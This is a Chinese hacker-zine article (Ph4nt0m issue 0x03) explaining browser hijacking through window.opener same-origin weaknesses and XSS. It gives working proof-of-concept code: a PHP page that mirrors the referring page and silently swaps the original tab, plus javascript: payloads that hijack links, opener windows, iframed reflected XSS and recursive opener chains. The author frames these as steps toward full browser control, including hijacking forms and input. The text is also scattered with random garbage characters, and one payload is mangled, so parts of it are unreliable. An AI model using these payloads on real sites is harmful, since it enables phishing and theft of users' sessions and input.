==Ph4nt0m Security Team==
- Q* j4 ^* W* m1 s
, f6 b2 U) n! f, b% n& J Issue 0x03, Phile #0x05 of 0x07
" z7 C9 @8 C* d. B/ e ) K) e6 U, q- B' b0 Y
/ ]- L A- X7 I9 H|=---------------------------------------------------------------------------=|9 @0 B# Q- @0 Y k
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
. E9 F* W# v0 \2 I/ c2 N! j|=---------------------------------------------------------------------------=|7 l$ q5 E, X3 v" i0 U( @7 B
|=---------------------------------------------------------------------------=|
" N, `, M7 w7 C3 a9 }' Y# [& Z) n, c|=------------------------=[ By rayh4c ]=---------------------------=|" }7 O1 a6 g+ w1 ]$ _* w: o4 v) F1 K
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|) |- ] F/ s: X2 c- E. B5 k+ T
|=---------------------------------------------------------------------------=|
/ C, O1 T7 s$ J6 j2 Q7 E( l
- P; ^6 B" W% N# L7 M9 H) G/ q; @
f' Y7 \, d: z# f( @[目录]) a/ U' n8 f, o; b& |
8 x6 @* a; }( v& L/ Z- @3 r
1. 前言3 J! }! a3 X# K" ?& ]
2. 同源策略简叙, `# `) A$ o0 V* L; Q
3. 理解window对象的同源策略5 B$ F2 V$ k8 H
4. 窗口引用功能中的同源策略漏洞
! T* c- n4 C! S0 q5 o2 X9 Q 4.1 父窗口引用子窗口的同源策略问题
+ q8 B) `* x- ? n/ R$ ] 4.2 子窗口引用父窗口的同源策略问题6 ]- K: Q# w! I5 Y& h8 d& ^
5. 利用窗口引用漏洞劫持浏览器# L R6 T$ T/ q5 A5 H4 w
6. 利用XSS漏洞劫持浏览器, L7 T+ E! m# D# p. P& y4 Z$ T/ C
6.1 正向跨窗口劫持
+ o7 Q; v: D' U& i9 O! H$ l 6.2 反向跨窗口劫持; s1 P# y d! [7 L! m+ A0 w: s
6.3 极度危险的跨框架窗口引用劫持8 H4 d0 S: M. e
6.4 极度危险的正反向跨窗口递归劫持
6 s1 I. y$ r4 N( y5 X) x( v 6.5 完全控制浏览器3 c: w2 |( \& ~5 X& U O6 {, S
7. 后记' |( `9 H h; |, f0 P5 U" f2 g! `. e
8. 参考( W, C6 k% [. d: A" v* z u
- P; x- p1 C& p; X' q% W8 u: e
4 ?7 e$ J% t) T一、前言7 _; C% ^( W; ]% W0 `2 N
D9 ^8 |4 @9 A
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
2 Y: ^ L6 J2 G1 s友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session- C& D' O7 A$ C5 z+ Z
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
- C: ^( J" e! Q+ V; j条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
0 s m5 {0 |+ J+ n9 ]& {. A. K8 m$ n2 r
6 t: E7 `9 u! @- Y8 c; b% a
二、同源策略简叙
# `6 [, S: n- K7 X* E, ~6 R. s: @7 s. r
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以' E5 @) t9 I7 E. [: M
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都1 h. H$ K: V P' Q/ t% @; ]
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木% F% g. ]& G) F Q& p) S+ B) e8 C
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个' M1 Q; n% l5 `) s% Z9 y& W
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
( R5 ?2 s2 @: n
" N6 }% Z5 X4 V% w1 i3 o. @6 m6 Q5 }2 u" I& J+ y
三、理解window对象的同源策略% f, a8 h: D$ _% _
; O( X' b `* |' E 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
% s. E( h n8 D. i; b/ N象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
$ R: L% Y' h/ V6 {: z. t1 E
) d8 c8 b4 D {& J; |. M7 o6 Y3 x--code-------------------------------------------------------------------------3 J" D1 H9 i2 E' H* L
<script language="javascript">+ B4 y) w' K- }- X: R" i( a
for(p in window) document.write(p+"<br>");" e2 P- k6 {! f- X
</script>
" G( ~' ^- T7 ~' ^( P& b- S-------------------------------------------------------------------------------) b& z7 u5 M) v) _3 W$ l; M! P# i
, ?; _; K$ d7 U 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
! T2 M" g1 r2 y' a' i$ U I$ @4 R8 h法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候," k* r0 }' `) ` d d
这些属性和方法就必须遵循同源策略。# ~9 c! I* U# h/ I$ ?% B5 p8 R
! u, ]/ ?' d7 P2 |/ e3 d 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那# W5 ~9 i) g9 R0 `1 H9 F
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须- Q: M( f Y! T3 R, \# V6 w
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
! E8 z- H- P& k! _/ d个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的6 d/ R% e3 U9 U& p6 K3 b7 r" H- y$ E
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location" E( v0 n1 a8 i5 j( C
属性并没有被拒绝访问。
6 p3 z) u o9 \, ~9 b2 n$ L; n0 p) N/ I/ o; M2 n
--demo.html--------------------------------------------------------------------
! T: m" L0 p0 U! t5 O) j8 q<script language="javascript">
5 {/ b6 N/ r8 O" Q' x/ Nfunction allPrpos(obj) { ( c" x1 p0 o! }. d! Y* k
var props = "<table><tr><td>名称</td><td>值</td>";
6 E# R- }7 @ {( y, Y4 A# `2 ^ for(var p in obj){
8 R ~. e4 @( z' l2 ^ if(typeof(obj[p])=="function"){
- m s, g- J( y9 T) p obj[p](); 1 [( ^ a3 n: `4 i4 ?
}else{ . a1 G" ?! X3 K
try 6 a! F7 `3 ^+ ~* @/ H" \, v! _
{
: l% E- V3 {1 d6 E0 ` props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; ! V! C: X- P, f* Y
}
# Y' q0 P3 O8 L8 D' a catch (ex)
! {) `9 S3 ^# g9 _% \/ } { & Q# s- ^' r3 Y
7 U0 }; N# Q. g3 M& Z6 a* O+ x
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; ; c8 U" k6 f" t4 Y
}
B2 U. o" F& { / V% N0 w4 n- V# X( N
} ( s, w$ O: G# ^' P1 ~* \% W
}
- t) @5 C1 ]8 X% b# R; d0 v , Z3 N8 R+ c' ?% ^* i) p7 S: r
document.write(props+"</table>");
8 s: k, E- Z9 I6 i2 j: h) V}
5 p7 P% V$ z% D! ] 1 s6 F7 c: n; w
function createWin() {3 G% W( | `( w: ^2 z
newWin = window.open ("http://www.google.com"); 4 W4 j; g, n) P' P8 s$ [1 Q
setTimeout(function(){allPrpos(newWin)},2000);
# c4 J; ?8 ]9 ^} 8 l! U" l+ X) L
2 G' \! U) I. p" E- |4 r. ~- T
</script> / z6 u7 I& b& ^+ s7 B5 A% n" J! ~
) \; k* K2 n! a- l0 z& |4 v, {% G0 s
<button onclick='createWin()'>创建一个非同源子窗口测试</button>, W C7 U. D5 R, y
-------------------------------------------------------------------------------
$ @2 ^# O' p) i( b) p. P
* z: W1 I' c: s) l
- s& z0 s* H6 S0 g2 a四、窗口引用功能中的同源策略漏洞! M1 m& ~) L( w/ M+ K+ V8 M
1 l1 _' l7 t* {2 m
4.1 父窗口引用子窗口的同源策略问题' h$ I i$ `! L- X. i8 s* K
1 f. k! i* T& i! | 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,, s/ S/ d; ~3 K4 }) r- z2 _
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
0 O5 N# w: j% z9 o( J浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进# `8 E3 l6 d0 K# Y% X8 n6 P4 F
行测试,会发现父窗口可以控制非同源子窗口location属性值。
2 f: H2 x2 D) A; t
6 H8 C5 `1 W/ q0 ?; I--vul1.html--------------------------------------------------------------------
G" q; x& U3 b# I }! M<script language="javascript"> ! i: u s& O+ Q. E/ H
function createWin() { / C5 c$ F0 |! {1 m
newWin = window.open ("http://www.google.com"); W/ U; w, P8 e' a- M9 C
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 6 `0 C! B: a5 H' @; x1 \
} 3 H/ s2 g3 K1 x. w/ f
</script>
! z' g( m1 k: g/ J, s* V& J9 }8 r3 A
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 N O( ^( f" M7 s0 N-------------------------------------------------------------------------------
e* Y. H8 B# i! s" ?& f
2 I; k4 H: [' q5 @/ f
1 [ m3 L: ~3 [) v- w0 s) D4.2 子窗口引用父窗口的同源策略问题
6 p! }4 M: J0 T5 M9 i2 R- o {6 i/ `) g- w% g
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使2 O, r- E1 O+ D5 g9 ]& m4 h
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
4 B5 G0 f4 V; o, Z. }( f可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定% x+ l& [' Q& ?, N/ \
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
2 C, H& ~- H8 n! @" `3 z- P" h" s+ u
4 ^; l9 p* O% Q+ `5 i, g--code-------------------------------------------------------------------------2 f9 R# o1 e1 s! T3 u
5 p! |$ Z' X& h# K0 \5 V
javascript:window.opener.location = "http://www.80sec.com";void(0);
( P# J9 v. {, `' k; d1 b
0 q' D- a9 {2 }- l% [-------------------------------------------------------------------------------
. G, w, H; [, P, N3 g# x u' f# v4 @
: z9 }/ D( \2 C五、利用窗口引用漏洞劫持浏览器7 x, ?3 a0 Q/ r9 f, e! F4 w
: U6 u' j4 v2 n( @+ v% w8 u, _
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子: L, p9 Q* c1 z+ q/ W6 y8 p
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
# m3 y8 D* [; @# k: y; ^& L& u, T么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
m) r" f& z) G' _$ [3 V! N0 A' Q& }8 G* k
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
. k* ^& Y8 V! s生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
4 K. I5 z" Y0 _者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
5 }+ S7 x! d' k- O后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下, N3 h7 X) b' |$ @0 v
会产生什么可怕的后果。; U" h5 {" F8 J; p, V
. z/ i7 a6 x. W2 t% A4 }
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
5 H; S+ T, Q; |7 V/ H. {们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
( x$ P$ c t1 ^! R* U& b这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
# w0 q \' ?$ }候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可4 w- ^! n) E( A. b- {" v( F- [
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
5 W5 T1 f4 |; y" T- I7 R: N" A: |% w G e
--hjk_ref.php------------------------------------------------------------------
1 @& a% ]8 |; }+ l% p<?php
. x& Y4 B; N( Z+ |* ^if (array_key_exists("HTTP_REFERER", $_SERVER)) {
. T) T! ]1 v7 L( y* t$Url_Mirror = $_SERVER["HTTP_REFERER"];9 s% }8 t K$ s2 d2 \
} 1 v [- e" A$ I8 m( }
if(isset ($_GET['ref'])) {
% P% ~' ~/ e8 d3 s& h6 i* u8 Qecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';0 }) i7 \5 v$ W( S# {
}
6 N! U' \8 A) P; A' H?>
L8 |0 ]( ` s# G
7 W. w' B, c4 w% A7 m<script language="javascript">- Y1 t- e Z6 h u
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
# s! [9 C* l b e, r</script>
a+ [; D# Y1 a1 o: A7 W* {-------------------------------------------------------------------------------! E5 k! Q2 j8 G7 Y- p6 h- E$ x
1 M/ [( y+ c" H
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。- U* b' N( j$ b# m% T
2 j: w9 ?+ z# `$ V* W8 j, Z
, j2 Z% m% T7 C# n5 i六、利用XSS漏洞劫持浏览器% F+ T" W$ `* S! E$ |: T$ j5 B
0 p& J3 c9 k7 g* b$ h& d$ U 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为' m3 w# a) h' {
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
" r+ u% _: [* _" @: a4 SXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
; C' z V5 j' x讨论跨站师的终极技巧:1 v) i1 p6 X& U9 ^! n8 H0 b' s7 t
) w. p$ T2 C: ~/ O$ }; @
$ y$ U6 v/ |2 g/ o# K' t6.1 正向跨窗口劫持" O# l# W. f! B" K4 E
+ h, K( x- t. m! J4 ^5 M
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛0 }6 X5 K6 M8 I5 g. F3 w/ T
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链, ~# l! f2 s/ H/ f. G
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
4 N0 I, p9 s" ~ M6 \框脚本。
: Q' E. ?8 e6 K" [' K, |' G2 k; h% t _: X. ]+ w0 u( d, R2 x0 w. D
--hijack_open.js---------------------------------------------------------------
* l$ f1 u- Q8 h* N" i4 V# n
. W0 E7 @* s5 Y4 d% Zjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);3 v4 x- [% _4 g7 d! k
4 }/ P7 g; ~+ O; q4 y-------------------------------------------------------------------------------
% D$ X+ v& @/ x9 Q! F' `
/ ^' l, v9 w w: ]! P0 T" L* w1 c; ]! ]) M" ^ {* A* o* R- Q
6.2 反向跨窗口劫持- m" q2 f6 ~7 B6 d
: w0 _8 }% v- ~1 p; Q" W2 R8 R
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
; R8 L6 n$ C0 a4 ]$ L; f码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话6 k* Z- |& a7 G7 `" h$ @3 m+ @5 r- P
框脚本。
% m6 Z4 r7 T, \1 Q/ I, D" ]5 [0 g* ?$ v
--hijack_opener.js-------------------------------------------------------------
$ L6 o. @$ t# U/ Y# @& G. e9 ?5 R7 k* m2 \; u' T- X8 M U
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);9 x7 A1 C# V( J- k
0 @* f' p1 R2 C: u( E. Z# w
-------------------------------------------------------------------------------
0 g. X; V4 i, g: F0 T
* z, G0 A) I' ?2 ~" z; h% k
- @( l; Z8 S; u/ H; k& n7 A7 W. E6.3 极度危险的跨框架窗口引用劫持' D. U6 i1 \1 d. R" O" |! W
4 E2 N% D4 u' _$ B* R 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
4 F: Y0 ]* p5 @可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就5 O& N- L x4 q/ \; K8 D; |7 @, R- W
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个! `9 H+ u( D8 [" p+ w& N9 Q
非持久型的XSS,如下:
1 r) L% `1 w: V, ~. T6 u' t, O( a6 ]) g ?+ r
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
% \! \! T: D H& ?) X1 d5 E; S! G# j% }5 ~5 {6 a% a% }+ P: \
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
1 Y7 U# D6 x0 E+ ^1 C. u( m注入脚本。6 V6 Y' H) y- C
+ T3 ^3 t% n2 M--hijack_frame_opener.js-------------------------------------------------------6 G9 \& C1 }- P" u( J
<script>
, U: G- @8 l- C' R8 hwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')"; X! u1 U# w8 M
</script>; ]: q& V- {1 G7 _% ]
-------------------------------------------------------------------------------
& ?3 b7 Z" l! m! s/ s6 q+ D: ]2 ~9 u+ T5 M
4 M) U! [) k$ J4 I3 L; h8 i
6.4 极度危险的正反向跨窗口递归劫持
9 r3 b9 T' W( C. ` q8 W/ G: p3 a
% [2 S, D' O5 p, Y2 x+ f luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window6 u- E+ F' Z# Y
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过- N. c2 c! x! \+ K' \8 h0 A8 k
异常处理规避之间跨域页面的访问异常,代码如下:5 q: Q! p, Z( a, Z+ X' X- W, S( e- J
3 a7 @6 Q( p% e( T2 ` o2 K
--code-------------------------------------------------------------------------
6 _9 V7 {- d' X) O' t S* M' K. o# @ K. ]
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
. |& Q4 g! x b! w1 [7 ^, \
! v; A* r5 s7 e$ L) V5 M6 K" t. e-------------------------------------------------------------------------------
) L \7 T$ y( ~& p+ L' v* Z7 c; v: I U5 Y3 J# ]' P8 C
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可4 g5 C+ j/ O8 W6 W
以劫持B域之前的A域页面,从而实现“隔空打击”。' w* Y4 x0 f7 I8 {
" h! n+ N6 Q: y5 D$ _ 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
) p; S7 x. g E' _6 ]6 g2 v- ]执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
: s8 N; \* [/ d3 j. `
2 T3 w; W/ }( F- T8 u. o2 a 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。' c. T7 z2 |4 d
& S' M( u( ]3 |4 f: M4 m6 G% H3 A* ^
* Q" O# M6 m+ p* v( P- ?2 p2 _6.5 完全控制浏览器; x2 o0 k* y8 U6 l g( N+ Y* E
, c$ I' p, J) L. d( T 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则+ Y9 ~6 U# Q3 b. C3 h, N1 D, j4 i% i
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS" ~. V6 m3 X, k5 S! k7 O/ G P' X. A) n7 t
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失0 n0 R" V: R8 a$ i; X
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再- _$ [/ w) D% n: t
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
6 E1 v! |" \! P& @师的终极目标 - 完全控制浏览器。' q, E9 g6 | G0 w
$ ]* ?; O; l# V
0 M5 J5 F+ H6 x9 u( e1 h七、后记$ D: ^- Z3 O' \8 y8 h- }
: X+ a( Q, J t, W, v$ P+ z
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全1 _1 P% [1 j: @+ ~, I$ R. {5 Y
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予% l( [4 b. u: X& l! b/ w6 ]
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
9 J* C9 @0 { `) R: }) L @1 z
* p; E8 t4 }# ^% B% s. n- b- L) r7 A7 Y R3 K3 J6 H2 g
八、参考
8 \) K) `1 `0 N, u9 l/ ^
: _: L0 A5 V! v0 W* o$ H' }: Y' X1. http://en.wikipedia.org/wiki/Same_origin_policy. k" Q2 h, U/ a$ f& ^- d: t/ n
2. http://code.google.com/p/browser ... licy_for_DOM_access: T/ J& [9 s$ b2 Y
3. http://www.w3.org/TR/Window/
( T% [! @9 A0 L) X+ N4. http://www.80sec.com/release/browser-hijacking.txt& J- K; ? W& Q" ?0 S! b' G+ P
5. http://www.80sec.com/all-browser-security-alert.html
0 t/ w. f; D2 k. ^' R2 t6. http://www.80sec.com/ms08-058-attacks-google.html
! m& B1 q7 E ?8 \5 E1 [9 A; l0 B1 S+ L" [" G: S
-EOF- |